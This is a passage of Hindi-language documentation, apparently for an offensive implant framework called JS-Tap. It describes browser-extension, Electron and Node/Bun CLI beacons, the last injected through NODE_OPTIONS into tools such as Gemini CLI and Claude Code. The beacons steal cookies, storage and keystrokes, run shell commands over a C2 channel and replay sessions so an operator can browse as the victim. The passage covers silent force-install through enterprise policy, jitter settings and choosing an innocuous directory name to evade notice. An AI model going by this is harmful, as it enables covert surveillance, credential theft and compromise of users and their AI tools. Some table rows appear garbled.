| BEX बीकॉन | एक ब्राउज़र एक्सटेंशन (Chrome MV3 / Firefox MV2)। सभी ब्राउज़िंग गतिविधि की निगरानी करता है, कुकीज़ (httpOnly सहित), localStorage, sessionStorage, और अनुरोध हेडर कैप्चर करता है। आदेश पर विशिष्ट डोमेन में DOM बीकॉन इंजेक्ट कर सकता है। | लक्ष्य के ब्राउज़र में स्थापित (सोशल इंजीनियरिंग, भौतिक पहुँच, नीति पुश, आदि)। |
| साइडकार | एक मूल Go बाइनरी जो लक्ष्य के OS पर चलती है। फ़ाइल सिस्टम ब्राउज़िंग, फ़ाइल पढ़ना, और कमांड निष्पादन प्रदान करता है। | मूल मैसेजिंग के माध्यम से BEX बीकॉन के साथ स्थापित। कमांड रिले करने के लिए BEX बीकॉन की आवश्यकता होती है। |
| एटम बीकॉन | इलेक्ट्रॉन डेस्कटॉप एप्लिकेशन के लिए दोहरी-परत वाला इम्प्लांट। एक मुख्य-प्रक्रिया एजेंट (Node.js रनटाइम) + सभी ऐप विंडो में रेंडरर पेलोड इंजेक्ट करता है। ब्राउज़र-स्तरीय डेटा संग्रह को होस्ट-स्तरीय OS पहुँच के साथ जोड़ता है — कोई अलग बाइनरी आवश्यक नहीं। ब्राउज़र प्रॉक्सी मोड का समर्थन करता है। | atomize.py का उपयोग करके लक्ष्य इलेक्ट्रॉन ऐप के ASAR आर्काइव (या अनपैक्ड ऐप निर्देशिका) में पैच किया गया। |
| V8 बीकॉन | Node.js और Bun CLI एप्लिकेशन (Gemini CLI, Claude Code, आदि) के लिए एक JavaScript एजेंट। सभी HTTP/Fetch नेटवर्क कॉल को इंटरसेप्ट करता है, कीस्ट्रोक कैप्चर करता है, और फ़ाइल सिस्टम और शेल पहुँच प्रदान करता है। ब्राउज़र प्रॉक्सी मोड का समर्थन करता है। शून्य निर्भरताएँ। | पर्यावरण चर के माध्यम से इंजेक्ट: NODE_OPTIONS="--require" (Node.js) या BUN_OPTIONS="--preload" (Bun)। कोई ऐप पैचिंग आवश्यक नहीं। |
| JS-Tap कंडक्टर | एक स्टैंडअलोन फ़ायरफ़ॉक्स एक्सटेंशन जो BEX बीकॉन (एक "JS-Tap टिकट" के रूप में) द्वारा कैप्चर किए गए सत्र डेटा को आयात करता है और इसे स्थानीय रूप से पुन: चलाता है — कुकीज़ सेट करना, हेडर इंजेक्ट करना, स्टोरेज भरना, और User-Agent स्पूफ करना — ताकि ऑपरेटर पीड़ित के रूप में ब्राउज़ कर सके। नीचे JS-Tap टिकट और JS-Tap कंडक्टर देखें। |
CLI उपकरणों के लिए V8 बीकॉन: V8 बीकॉन Node.js और Bun-आधारित CLI एप्लिकेशन को लक्षित करता है। एक पर्यावरण चर (NODE_OPTIONS या BUN_OPTIONS) सेट करें और बीकॉन ऐप के अपने कोड से पहले लोड होता है — लक्ष्य ऐप में कोई पैचिंग या संशोधन आवश्यक नहीं है। यह सभी नेटवर्क ट्रैफ़िक को इंटरसेप्ट करने के लिए http.request, https.request, fetch, और http2.connect को मंकी-पैच करता है, कीस्ट्रोक कैप्चर के लिए process.stdin को हुक करता है, और C2 चैनल के माध्यम से फ़ाइल ब्राउज़िंग और शेल निष्पादन प्रदान करता है। चाइल्ड प्रक्रियाओं को स्पॉन करने वाले CLI उपकरण (उदाहरण: Gemini CLI इंटरैक्टिव सत्र के लिए स्वयं को चाइल्ड के रूप में स्पॉन करता है) स्वचालित रूप से संभाले जाते हैं — चाइल्ड माता-पिता के सत्र कुंजी प्राप्त करता है और पोर्टल में एक ही तार्किक क्लाइंट साझा करता है। क्रॉस-रनटाइम सबप्रोसेस फ़िल्टरिंग Bun ऐप्स के Node.js उपयोगिता सबप्रोसेस को अलग क्लाइंट के रूप में पंजीकृत होने से रोकती है।
ऐप-विशिष्ट हमलों के लिए प्लगइन्स: Atom बीकॉन और V8 बीकॉन क्लाइंट रनटाइम-लोडेबल प्लगइन्स का समर्थन करते हैं। प्लगइन्स JavaScript मॉड्यूल हैं जो JS-Tap पोर्टल से लोड होते हैं और विशिष्ट लक्ष्य एप्लिकेशन (जैसे Mattermost प्लगइन) के लिए बीकॉन की क्षमताओं का विस्तार करते हैं। प्लगइन्स के पास बीकॉन के Node.js API (fs, http, crypto, child_process), इलेक्ट्रॉन API (एटम बीकॉन के लिए), और सर्वर पर वापस एक डेटा एक्सफिल्ट्रेशन चैनल तक पहुँच है। प्रत्येक प्लगइन में अपने लक्ष्य ऐप्स, क्षमताओं और ऑपरेटर-कॉन्फ़िगरेबल सेटिंग्स की घोषणा करने वाला एक मैनिफेस्ट (manifest.json), साथ ही पोर्टल में प्रदर्शित एक वैकल्पिक UI पैनल (ui.html) शामिल है।
| ब्राउज़र | इंस्टॉल विधि | आवश्यकताएँ |
|---|
| Chrome/Chromium (Linux, .crx + स्थिर ID के साथ) | एक एंटरप्राइज़ नीति लिखता है जो स्थानीय CRX से एक्सटेंशन को फोर्स-इंस्टॉल करता है। कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं है — एक्सटेंशन अगले लॉन्च पर चुपचाप इंस्टॉल हो जाता है। | sudo |
| Chrome/Chromium (macOS, .crx + स्थिर ID के साथ) | .crx को एक सिस्टम डायरेक्ट्री में कॉपी करता है और एक बाहरी एक्सटेंशन JSON लिखता है। जब Chrome एक्सटेंशन के बारे में चेतावनी देता है तो उपयोगकर्ता को "Keep" पर क्लिक करना होगा। | sudo |
| Chrome/Chromium (.crx के बिना) | अनपैक्ड एक्सटेंशन को एक स्थायी डायरेक्ट्री में कॉपी करता है। chrome://extensions डेवलपर मोड के लिए निर्देश प्रिंट करता है। | कोई नहीं |
| Chrome (Windows, .crx + स्थिर ID के साथ) | .crx कॉपी करता है और बाहरी एक्सटेंशन इंस्टॉलेशन के लिए रजिस्ट्री एंट्री लिखता है। | कोई नहीं (उपयोगकर्ता-स्तरीय रजिस्ट्री) |
| Firefox (.xpi + एक्सटेंशन ID के साथ) | डिफ़ॉल्ट Firefox प्रोफ़ाइल को स्वचालित रूप से पहचानता है और .xpi को प्रोफ़ाइल के extensions/ डायरेक्ट्री में कॉपी करता है। अगले लॉन्च पर Firefox उपयोगकर्ता को सक्षम करने का संकेत देता है। | कोई नहीं |
| Firefox (.xpi के बिना) | अनपैक्ड एक्सटेंशन को एक स्थायी डायरेक्ट्री में कॉपी करता है। about:debugging के लिए निर्देश प्रिंट करता है। | कोई नहीं |
| कमांड | आर्ग्स | विवरण |
|---|
list_dir | { path: "/some/path" } | निर्देशिका सामग्री सूचीबद्ध करें। यदि पथ खाली है तो उपयोगकर्ता की होम निर्देशिका पर डिफ़ॉल्ट होता है। फ़ाइल नाम, आकार, प्रकार और संशोधन समय लौटाता है। |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | फ़ाइल सामग्री पढ़ें (base64 एन्कोडेड)। प्रति पढ़ने अधिकतम 1MB। बड़ी फ़ाइलों के लिए ऑफ़सेट/लिमिट का समर्थन करता है। |
exec_cmd | { command: "whoami", timeout: 30 } | एक शेल कमांड निष्पादित करें। Linux/macOS पर /bin/sh -c, Windows पर cmd.exe /C का उपयोग करता है। अधिकतम टाइमआउट 120 सेकंड है। stdout, stderr, और एग्ज़िट कोड लौटाता है। |
--output PATH |
आउटपुट फ़ाइल पथ (डिफ़ॉल्ट: ./v8-beacon.js) |
| फ़ील्ड | विवरण |
|---|
name | एक्सटेंशन का प्रदर्शन नाम |
version | एक्सटेंशन संस्करण (.crx बाह्य एक्सटेंशन JSON में भी उपयोग किया जाता है)। प्रत्येक बिल्ड पर buildAll.py द्वारा स्वतः बढ़ाया जाता है। |
description | ब्राउज़र में दिखाया जाने वाला एक्सटेंशन विवरण |
install_dirname | लक्ष्य प्रणाली पर फ़ाइलों को संग्रहीत करने के लिए इंस्टॉल स्क्रिप्ट द्वारा उपयोग किया जाने वाला निर्देशिका नाम (जैसे Linux पर /opt/<dirname>/, Windows पर %LOCALAPPDATA%\<dirname>)। एंटरप्राइज़ पॉलिसी फ़ाइल नाम के लिए भी उपयोग किया जाता है। कोई हानिरहित नाम चुनें। डिफ़ॉल्ट: jstap |
| फ़ील्ड | विवरण |
|---|
chrome_key | Base64-एन्कोडेड DER सार्वजनिक कुंजी। निर्धारित एक्सटेंशन आईडी के लिए Chrome मेनिफ़ेस्ट में key के रूप में इंजेक्ट किया गया। |
chrome_key_pem | निजी कुंजी .pem फ़ाइल का पथ (प्रोजेक्ट रूट के सापेक्ष)। .crx फ़ाइलों को पैक करने के लिए बिल्ड स्क्रिप्ट द्वारा उपयोग किया जाता है। |
chrome_extension_id | 32-अक्षर वाला Chrome एक्सटेंशन आईडी। यदि खाली छोड़ा गया तो chrome_key से स्वतः गणना की जाती है। साइडकार नेटिव मैसेजिंग मेनिफ़ेस्ट में उपयोग किया जाता है। |
firefox_extension_id | Firefox एक्सटेंशन आईडी (जैसे bex-beacon@jstap)। Firefox मेनिफ़ेस्ट में browser_specific_settings.gecko.id के रूप में इंजेक्ट किया गया। |
base_interval | हार्टबीट के बीच सेकंड में आधार अंतराल। डिफ़ॉल्ट: उत्पादन के लिए 60, विकास/परीक्षण के लिए 5. |
jitter_percent | आधार अंतराल पर लागू जिटर का प्रतिशत। 30 का मान अर्थ है कि प्रत्येक हार्टबीट आधार अंतराल के 70% से 130% के बीच किसी यादृच्छिक समय पर घटित होगा। जिटर न करने के लिए 0 सेट करें (डीबगिंग के लिए उपयोगी)। |
falsetruewhitelist | URL मैच पैटर्न की सरणी। * वाइल्डकार्ड के साथ मानक ब्राउज़र एक्सटेंशन मैच पैटर्न। केवल whitelist_enabled true होने पर उपयोग किया जाता है। |